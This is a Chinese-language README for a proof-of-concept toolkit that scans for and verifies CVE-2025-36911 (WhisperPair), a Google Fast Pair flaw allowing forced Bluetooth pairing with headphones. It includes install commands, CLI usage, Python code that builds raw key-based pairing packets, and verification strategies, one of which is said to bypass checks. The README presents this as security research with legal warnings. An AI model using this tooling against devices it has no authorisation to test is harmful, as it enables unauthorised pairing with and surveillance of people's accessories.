CVE-2025-36911 参考实现与漏洞验证工具包
法律声明:这是一款安全研究工具。使用前请阅读 LEGAL.md。 未经授权访问计算机系统属于刑事犯罪。
利用 Google Fast Pair 劫持蓝牙配件。
WhisperPair (CVE-2025-36911) 是一个严重漏洞,攻击者可以在 无需用户同意 的情况下强制与旗舰音频配件配对,通常耗时不足10秒。
DIY-WhisperPair 是一个实现这些攻击的研究工具包,旨在演示三个关键风险:
[!NOTE] 仅供研究:此工具包包含 概念验证 扫描器和验证器。它 不 包含主动窃听、持续位置跟踪或恶意载荷注入工具。其唯一目的是识别易受攻击的设备。
# 安装
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
pip install -e .
# 运行交互式 CLI
whisperpair
这将启动一个交互式菜单:
╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗
║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝
╚╩╝╩ ╩╩╚═╝╩ ╚═╝╩╚═╩ ╩ ╩╩╩╚═
────────────── 主菜单 ──────────────
1 扫描 发现附近 Fast Pair 设备
2 验证 测试设备漏洞(需要授权)
3 信息 获取详细设备信息
4 关于 了解 CVE-2025-36911
0 退出 退出应用程序
选择选项 [1]:
本库设计为 易于扩展。按需导入:
import asyncio
from whisperpair import scan_devices, verify_device, get_device_info
# 扫描 Fast Pair 设备
devices = asyncio.run(scan_devices(timeout=10))
for d in devices:
print(f"{d.address} - {d.name} - 风险: {'高' if not d.is_in_pairing_mode else '低'}")
# 仅查找易受攻击的设备(不在配对模式)
vulnerable = asyncio.run(scan_devices(vulnerable_only=True))
# 验证特定设备(需要授权)
result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF"))
if result.success:
print(f"易受攻击 - 提供者地址: {result.provider_address}")
# 获取设备信息
info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF"))
print(f"型号: {info['model_name']}")
from whisperpair import (
# 扫描器
FastPairScanner,
FastPairDevice,
# 客户端
FastPairClient,
VerificationResult,
# 协议
KeyBasedPairingRequest,
KeyBasedPairingResponse,
PairingRequestFlags,
parse_bluetooth_address,
parse_kbp_response_multi_strategy,
# 加密
FastPairCrypto,
aes_128_encrypt,
aes_128_decrypt,
generate_account_key,
# 常量
FAST_PAIR_SERVICE_UUID,
KEY_BASED_PAIRING_CHAR_UUID,
KNOWN_MODEL_IDS,
)
# 带回调的自定义扫描器
def on_found(device: FastPairDevice):
if not device.is_in_pairing_mode:
print(f"[!] 潜在目标: {device.address}")
scanner = FastPairScanner(timeout=15, on_device_found=on_found)
asyncio.run(scanner.scan())
# 构建原始协议包(标志位 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE)
target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF")
request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes)
packet = request.build() # 16 字节明文
# 多种验证策略可用:
# - strategy_raw_kbp() - 标志位 0x11,适用于大多数易受攻击设备
# - strategy_with_seeker() - 标志位 0x02,包含搜索者地址
# - strategy_retroactive() - 标志位 0x0A,绕过某些检查
# - strategy_extended() - 标志位 0x10,适用于较新设备
# 完全自定义流程(AES 密钥可选——仅响应检测即可表明漏洞)
async with FastPairClient("AA:BB:CC:DD:EE:FF") as client:
model_id = await client.read_model_id()
result = await client.verify_pairing_behavior() # 检测无需密钥
if result.response_received:
print("易受攻击 - 设备在不应该响应时做出了响应")
参见 examples.py 获取可直接复制粘贴的示例:
python examples.py scan # 基本扫描
python examples.py vulnerable # 查找易受攻击设备
python examples.py verify AA:BB:CC:DD:EE:FF
python examples.py custom # 带回调的扫描器
whisperpair
# 扫描设备
whisperpair scan
whisperpair scan --vulnerable
whisperpair scan --timeout 15
# 获取设备信息
whisperpair info AA:BB:CC:DD:EE:FF
# 验证漏洞(需要标志位)
whisperpair verify AA:BB:CC:DD:EE:FF --authorized
# 了解漏洞
whisperpair about
此工具执行主动蓝牙操作。在执行任何验证命令之前,您必须拥有:
详细指导请参阅 LEGAL.md。
Google Fast Pair 要求设备 仅在配对模式下接受配对请求。许多设备未能通过此检查:
预期:设备检查“我是否处于配对模式?” → 否 → 拒绝
实际:设备无视模式状态,接受请求
通过检查设备在非配对模式下 是否对基于密钥的配对请求做出任何响应 来检测漏洞:
graph TD
subgraph 包["基于密钥的配对请求(16 字节)"]
direction LR
B0["0x00"]
B1["0x11"]
MAC["MAC: 6 字节"]
Salt["Salt: 8 字节"]
end
B0:::byte -- "消息类型" --> Desc0["基于密钥的配对请求"]
B1:::byte -- "标志位" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"]
classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px;检测:收到响应 = 易受攻击(无需 AES 密钥!)
蓝牙范围内的攻击者(约 10-14 米)可以:
| 制造商 | 设备 |
|---|---|
| Pixel Buds Pro 2 |
DIY_WhisperPair/
├── src/whisperpair/
│ ├── __init__.py # 公共 API 导出
│ ├── scanner.py # BLE 设备发现
│ ├── client.py # GATT 客户端与验证
│ ├── protocol.py # 数据包构建器
│ ├── crypto.py # AES-128, ECDH, 密钥
│ ├── constants.py # UUID, 型号 ID
│ └── cli.py # 交互式 CLI
├── examples.py # 可复制粘贴的代码片段
├── security_demo.py # 独立验证演示
├── LEGAL.md
└── README.md
git clone https://github.com/SpectrixDev/DIY_WhisperPair.git
cd DIY_WhisperPair
python3 -m venv venv
source venv/bin/activate # Linux/macOS
pip install -e .
本工具仅用于:
禁止:未经授权访问、骚扰、监控或任何非法活动。
MIT 许可证 - 参见 LICENSE
| 司法管辖区 | 相关法律 |
|---|
| 英国 | 1990 年《计算机滥用法》第 1-3A 条 |
| 美国 | 《计算机欺诈与滥用法》(CFAA) |
| 欧盟 | 2013/40/EU 指令 |
| 德国 | 《刑法典》§ 202a-c |
| 澳大利亚 | 1995 年《刑法典》第 10.7 部分 |
| Sony | WF-1000XM4, WH-1000XM5, LinkBuds S |
| JBL | Tune Buds, Live Pro 2 |
| Anker | Soundcore Liberty 4 |
| 其他 | 参见 whisperpair.eu |